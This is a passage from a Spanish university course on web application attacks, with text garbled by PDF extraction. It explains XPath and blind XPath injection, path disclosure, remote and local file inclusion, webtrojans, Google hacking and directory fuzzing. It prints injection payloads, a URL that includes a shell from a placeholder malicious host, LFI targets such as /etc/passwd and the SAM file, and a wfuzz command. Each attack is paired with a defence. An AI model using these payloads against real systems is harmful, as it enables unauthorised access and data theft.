La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

